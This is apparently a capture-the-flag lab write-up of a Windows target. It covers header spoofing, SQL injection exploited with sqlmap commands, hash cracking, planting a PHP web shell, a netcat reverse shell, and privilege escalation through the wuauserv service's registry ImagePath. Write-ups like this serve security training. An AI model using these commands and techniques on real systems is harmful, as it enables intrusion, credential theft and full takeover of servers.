As Always I did a port scan with the famous nmap and got 3 ports open.
Port 80
I can tell from now this uses php(index.php). Inside the source code I see a comment
After poking the website I see that admin.php is not accessible. Because it requires us to go through a proxy.
Searching about headers I found out that header X-Forwarded-Foris a de-facto standard header for identifying the originating IP address of a client connecting to a web server through an HTTP proxy
So I open burp suite and intercept the request to 10.10.10.167/admin.php and add the IP address found in the index.php html code.
Now I add into burp suite math and replace the X-Forwarded-For, so burp can add that automatically to us.
Inside the admin app I can add, search, update, create products. I send each request on burp and try to find any vuln on the send parameters. I found out that search products is vulnerable to sql injection. After trying a sleep command. My request took long to respond back.
I copy the request to a file and then update the parameter to be productName=* . And then give it to sqlmap to extract info for us.
First I get all the databases with sqlmap -r sqlinjection.req --dbs --batch
After get all mysql tables with sqlmap -r sqlinjection -D mysql --tables --batch
After get the content of user row sqlmap -r sqlinjection.req -D mysql -T user --dump
Add the hashes inside a file and then crack them hashcat -m 300 crackme.txt rockyou.txt
The manager hash was cracked with sqlmap sqlmap -r sqlinjection.req -D mysql -T user --dump --batch
Let’s see again if we can upload a shell to the webserver and then access the server. To do this first I check which users is managing the mysql database. sqlmap -r sqlinjection.req --current-user --batch
current user: 'manager@localhost'
And then check the privileges of that user. sqlmap -r sqlinjection.req --privileges --batch
which means we can indeed upload a file into the webserver. I create a file and add a simple php command to execute everything I give into the fuxsocy parameter.
To upload a file I use sqlmap -r sqlinjection.req --file-write=q.php --file-dest=/inetpub/wwwroot/q.php --batch
I had to guess for the destination by trying possible directories found here
Then I visit the webpage and download nc.exe from my box and execute it to get a reverse shell.
Because I have the password for user hector I created a script to impersonate that user and then download the nc.exe and after get a shell back as that user.
User obtained.
The root part has to do with windows registry. To spot that we had to look into the users powershell history.
This means we can edit registries for a service and then execute malicious code which in our case is a reverse shell as administrator. First let’s see the services what hector has access to by issuing this command. Get-acl HKLM:\System\CurrentControlSet\Services\* | Format-List * | findstr /i "Hector Users Path" This gives us a big list with the proccess name. We would choose wuauserv.
I am using the wuauserv service as this service is the service windows use to check if an update is available and then stops so this should have a good chance to be inactive.
Let’s edit the ImagePath
setup listener and download nc then start the service.